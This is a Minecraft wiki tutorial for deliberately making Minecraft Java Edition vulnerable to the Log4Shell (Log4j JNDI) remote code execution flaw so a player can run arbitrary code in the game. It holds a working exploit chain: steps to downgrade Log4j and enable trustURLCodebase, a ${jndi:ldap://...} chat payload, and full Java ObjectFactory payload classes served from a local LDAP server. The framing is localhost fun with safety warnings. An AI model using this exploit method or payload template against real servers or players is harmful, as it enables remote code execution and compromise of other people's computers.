Java Edition.png

Java Edition:Log4Shell

From Minecraft Discontinued Features Wiki
Jump to navigation Jump to search
Apache Log4j Logo.png

Command Computer.png
Warning: Computer Damage 
This feature can damage your computer. Perform at your own risk.
Danger.png
Warning: Corruption 
This feature can corrupt your world. Perform at your own risk.
Barrier.png
Warning: Game Crash 
This feature can crash your game. Perform at your own risk.
Unsupported Version.png
Warning: Unsupported Version 
This feature uses an unsupported version, for more information visit the Tutorials/Playing Old Versions page. Play at your own risk.
Command Block.png
Warning: Method Granting Cheats 
This method gives access to features that are normally behind the cheats toggle such as commands or creative which may be dangerous. Perform at your own risk.

Minecraft, since 1.7, utilized the Log4j logging library to store game logs to the disk. However, unbeknownst to the world (at the time), these libraries contained an extremely easy to exploit remote code execution vulnerability. This vulnerability was privately disclosed to the Apache Software Foundation on November 24th, 2021, and was released to the public on December 9th, 2021. Mojang promptly pushed updates to all affected versions by updating the version JSON files fetched by launchers, which specify the libraries Minecraft utilizes. However, if you want to utilize the extreme power and control this exploit gives one over the game, you can still purposefully allow your game to be vulnerable.

WARNING

BY FOLLOWING THE INSTRUCTIONS ON THIS PAGE, YOU ARE PURPOSEFULLY MAKING YOURSELF VULNERABLE TO A FULL BLOWN REMOTE CODE EXECUTION VULNERABILITY!!! THIS MEANS THAT IF YOU ARE EITHER ON A MULTIPLAYER SERVER WITH A VULNERABLE CLIENT, OR HOST A VULNERABLE MULTIPLAYER SERVER, ANYONE CAN EXECUTE ANY CODE THEY WANT ON YOUR COMPUTER, INCLUDING MALWARE!!! PERFORM AT YOUR OWN RISK!!!

How Does This Even Work?

Vulnerable versions of Log4j would attempt to parse certain expressions present in strings logged by it. For example, if Log4j is provided with the expression Message: ${java:version}, then it will be replaced with the Java version the application is running with, as follows: Message: Java version 1.8.0_181. The juicy part comes into play with the ${jndi:} expression, or the Java Naming and Directory Interface (JNDI). This interface allows for class files pulled from remote URLs to be loaded into the Java runtime.

The vulnerable JNDI lookup protocols are the Lightweight Directory Access Protocol (LDAP), Lightweight Directory Access Protocol Secure (LDAPS), Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP). While any can be used, this tutorial will use LDAP. The final nail in the coffin is a property within the Java runtime that would determine whether to fully initialize remotely loaded classes or not, which in older versions of Java was set to fully initialize said classes.

Vulnerable Java versions (from Oracle) include Java 6u201 and below, Java 7u191 and below, Java 8u181 and below, all Java 9 versions, all Java 10 versions, and Java 11.0.0. Other variants of Java are likely vulnerable in similar version ranges. Newer Java versions may still be used by specifying the Java argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true to revert this change. The end result is that any code within static code blocks, the <init>V method (a.k.a. public YourClass() { ... }), and the getObjectInstance method from the ObjectFactory interface is executed.

In the end, all one needs to do to run remotely provided code within Minecraft is to send a chat message in the form of ${jndi:ldap://<url>:<port>/<class>}. <url> can be either a direct IPV4 address (e.g. 127.0.0.1) or a URL (e.g. example.com), <port> is the LDAP server port, a number between 1 and 65535 (typically 1389), and <class> is simply the name of the class provided by the LDAP server.

An annoyance that Minecraft versions 13w39a (1.7 snapshot) through 17w14a (1.12 snapshot) contain is that they used Log4j version 2.0-beta9. 2.0-beta9 contains an unchecked cast of the fetched JNDI object to a String, which if uncaught, as it is from 13w39a (1.7 Snapshot) to 1.8[test] will crash the game, unless the return of the getObjectInstance method is a string. The payload will still be executed regardless of the crash, but it is likely in the user's best interest to avoid crashing the game.

Staying Safe

As you are about to open your computer up to a remote code execution vulnerability, you need to know how to make sure that you are the only one able to leverage it so that bad actors do not exploit your vulnerability. As long as you are on a strictly singleplayer environment, and do not open your world to LAN, you will be completely safe. No one else can join your game, or even attempt to do so, thus no user provided input can be logged, except what is provided by you.

If you open your world to LAN, then anyone else can join, and potentially execute their code on you. However, if the port the LAN world is opened to is not port forwarded through one's router, than this vulnerability will only be able to be performed by devices on the same network. Dedicated servers also share this property. You can test if a Minecraft server or LAN port is forwarded to the World Wide Web by fetching your current public IPV4 address from a site such as whatismyip.com (e.g. 100.100.100.100), and then test against that IP and port with a site such as mcsrvstat.us (e.g. 100.100.100.100:25565). If your server or LAN world is NOT reachable through the World Wide Web, then you are safe from all but those on your local network. You can also simply disconnect your device from all networks, which will prevent any and all remote connections.

Extended Log4Shell Resources

If you would like to learn more about Log4Shell, then here are some excellent videos on the subject:

Down the Rabbit Hole

So with all those warnings out of the way, and assuming you still want to go through with this, let's get on with it! Firstly, download the Log4Shell toolset here. It contains a vulnerable Java version, Java 8u181, a portable MultiMC install for ease of instance creation, the LDAP server, Minecraft Coder Pack V9.40 for 1.12, the vulnerable 1.12 JSON file, and a few prebuilt scripts for 1.12 if you just want to have some fun. Extract the Java 8 zip file and Python, as they need to be inflated to be operational. Make sure that these extracted files are also not nested, as that will cause issues with the start.bat script. E.g. C:\Users\Me\Downloads\Log4Shell-Tools-Minecraft\Python310 is an ok path to contain python.exe, C:\Users\Me\Downloads\Log4Shell-Tools-Minecraft\Python310\Python310 is not.

You can start the HTTP and LDAP servers with the provided "start.bat" file. Place any payloads you create into the "scripts" folder. These scripts are specified by their file name within the JNDI expression, which should be the same as their compiled class name.

Clients

To create a vulnerable client, a custom version JSON file must be provided to the Minecraft launcher to allow the loading of the vulnerable libraries. Most version pages on the Minecraft Wiki contain the original, vulnerable version JSON files. You can check by searching it for "log4j". If it reads version "org.apache.logging.log4j:log4j-core:2.0-beta9", "org.apache.logging.log4j:log4j-core:2.8.1", or "org.apache.logging.log4j:log4j-core:2.14.1", then it is a vulnerable version. The next step will depend on the launcher you use. Steps for common launchers below:

Vanilla Launcher

Firstly, the JSON file must be edited such that it says that it is a different version, so the launcher does not confuse it with the updated version. One needs to edit the "id" of the JSON to something else (e.g "1.12.2L4S"). Make sure this is NOT the assets file id (i.e. "assetIndex": {"id": "1.12"}). Next, navigate to your ~/.minecraft/versions folder. Create a new folder with the same name entered in the "id" field. Place the JSON file there. Rename it to the name entered in the "id" field (make sure the .json file extension is still present). Close and re-open the launcher. Navigate to the "Instances" tab, and make sure the Releases, Snapshots, and Modded checkboxes are ticked. Create a new instance, and select the modified version you've created (it will show the name you entered for the "id"). Edit the instance, and open the "More Options" plane. Under the JVM arguments, and add Java argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true to the end of the arguments. Ensure there is a space between the previous argument and this one. Launch the instance, and presto! Log4Shell is ready!

MultiMC

Create a new instance with the version you intend to replace. Open the instance editing window. On the "Version" tab, click on the "Minecraft" row in the table, and select "Customize" and "Edit" on the right button panel. This will open the instance's version JSON file. Delete the contents of the "libraries": [] array and replace it with the contents of the libraries array in the downloaded JSON. You don't have to format the pasted contents beside ensuring all brackets still close properly. Save and close the text editor. Next, on the "Settings" tab, tick the box by "Java arguments", and enter -Dcom.sun.jndi.ldap.object.trustURLCodebase=true into the box below. Launch the instance, and presto! Log4Shell is ready!

Servers

Servers, unlike clients, do not fetch updated resources from Mojang. Instead, they are bundled with all required dependencies upon compile, so all server jars released for vulnerable versions are still vulnerable to Log4Shell. Simply launch the server via the command line (e.g. java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar server.jar).

Crafting and Serving a Payload

Now that you have a vulnerable client, let's make a payload for it to execute! Unfortunately, this portion requires that you have knowledge of how to create programs in Java, so you might need to watch some tutorials if you don't understand something.

If you'd like to skip this part, you can use the pre-prepared 1.12 scripts (obviously only in 1.12). You can also use the "SystemOut" payload, which will simply print "LOG4SHELL SAYS HELLO" to the game console, in all versions to simply test if Log4Shell will work.

The base structure of your class should be something as follows:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Log4Shell implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("LOG4SHELL SAYS HELLO!");
        return "";
    }
}

As discussed, anything placed within the getObjectInstance method will be run upon being loaded by Log4j. But how do we interact with Minecraft?

An annoyance that Minecraft provides is that its jars are obfuscated, meaning that (nearly) all classes, methods, and fields are given completely nonsensical names so one cannot decompile it with ease. Over the years, the modding community has made many tools to deobfuscate Minecraft, but all code that Log4Shell runs must be provided in the format the Java runtime actually is executing. Mod loaders also can change this, such as Fabric's usage of intermediaries, so one must tailor their payload to their target obfuscation. For vanilla, one such way to easily translate readable Minecraft code into obfuscated code is to utilize the Minecraft Coder Pack (MCP) to compile your classes. The pros of MCP are that MCP will handle all translation for you: the cons is that MCP is not available for all versions, usually focused on major releases only.

For versions between 1.7 and 1.12.2, archived versions can be found on the Minecraft Wiki. For 1.13 and above, use MCP-Reborn.

In the end, such a payload may look something like this:

import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.concurrent.Callable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import net.minecraft.server.MinecraftServer;

public class ServerTest implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Callable submitToMain = () -> {
            Field managerF = bi.class.getDeclaredField("a");
            managerF.setAccessible(true);
            dh manager = (dh)managerF.get((Object)null);
            Field serverF = dh.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);
            oo me = server.am().a("Steve");
            if (me != null) {
                me.a.a(new in(new ho("§5§k-|-§4§l§nPWN'D§5§k-|-"), hf.b));
            }

            server.f = null;
            return null;
        };
        try {
            Field managerF = bi.class.getDeclaredField("a");
            managerF.setAccessible(true);
            dh manager = (dh)managerF.get((Object)null);
            Field serverF = dh.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);
            if (server == null || !server.w() || server.f != null && server.f.equals("log4j")) {
                return;
            }

            server.f = "log4j";
            server.a(submitToMain);
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return "";
    }
}

Obviously, this is the obfuscated version. Here's the unobfuscated version, for reference:

import net.minecraft.command.CommandBase;
import net.minecraft.command.ServerCommandManager;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.network.play.server.SPacketChat;
import net.minecraft.server.MinecraftServer;
import net.minecraft.util.text.ChatType;
import net.minecraft.util.text.TextComponentString;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.concurrent.Callable;

public class ServerTest implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Callable submitToMain = () -> {
            Field managerF = CommandBase.class.getDeclaredField("a");
            managerF.setAccessible(true);
            ServerCommandManager manager = (ServerCommandManager)managerF.get(null);
            Field serverF = ServerCommandManager.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer)serverF.get(manager);

            int lastIndex = server.getPlayerList().getPlayerList().size()-1;
            if (lastIndex == -1) {
                return null;
            }
            EntityPlayerMP me = server.getPlayerList().getPlayerByUsername("Steve");

            if (me != null) {
                me.connection.sendPacket(new SPacketChat(new TextComponentString("\u00a75\u00a7k-|-\u00a74\u00a7l\u00a7nPWN'D\u00a75\u00a7k-|-"), ChatType.SYSTEM));
            }

            server.currentTask = null;
            return null;
        };

        try {
            Field managerF = CommandBase.class.getDeclaredField("a");
            managerF.setAccessible(true);
            ServerCommandManager manager = (ServerCommandManager) managerF.get(null);
            Field serverF = ServerCommandManager.class.getDeclaredField("a");
            serverF.setAccessible(true);
            MinecraftServer server = (MinecraftServer) serverF.get(manager);

            if (server == null || !server.isServerRunning() || (server.currentTask != null && server.currentTask.equals("log4j"))) {
                return;
            }
            server.currentTask = "log4j";
            server.callFromMainThread(submitToMain);
        }
        catch (Exception e) {
            e.printStackTrace();
        }

        return "";
    }
}

This particular payload is for 1.12, and will send "PWN'D" in chat to any player named "Steve". You may notice some nasty reflection is used to gain access to a somewhat hidden static reference to the currently running MinecraftServer object, which is the main gateway for accessing the game. Some earlier versions contain a static get method for the server, which should be used if available. If the payload is executed on a client, then the server may be fetched through the static get method for the MinecraftClient class, which may be used to access the internal server.

There's a bit of thread magic as well to ensure that the code runs on the main server thread (to avoid concurrency issues) and that the code is only called once (Log4j will initialize the class a few times per chat message due to it being logged to multiple outputs).

Once you've compiled your class to abide with obfuscation, place it into the "scripts" folder within the toolset, and run the "start.bat" file to start the HTTP and LDAP services. Now, it's time to create the expression to load that class. As an example, if one wanted to execute the class above, one would use the expression ${jndi:ldap://127.0.0.1:1389/ServerTest}. 127.0.0.1 for localhost (a.k.a. your current device, as you're hosting the LDAP server on your own computer), port 1389 as the LDAP server is started on that port by default, and ServerTest as that is the both the name of the class and the name of the compiled class file. Now, after all that work, one enters the promised land: remote code execution dreamland.

Remote Code Execution Dreamland

This section can serve as a small gallery of what one can do with Log4Shell:

Beating the game instantly:

Giving yourself creative mode and cheats:

Instantly equipping yourself with the best gear available:

Instantly create a perimeter for all your mob farm needs:

Carpet bomb your enemies:

Re-add items that were removed from the game:

And just about anything else you can think of! The world of Minecraft is now your oyster!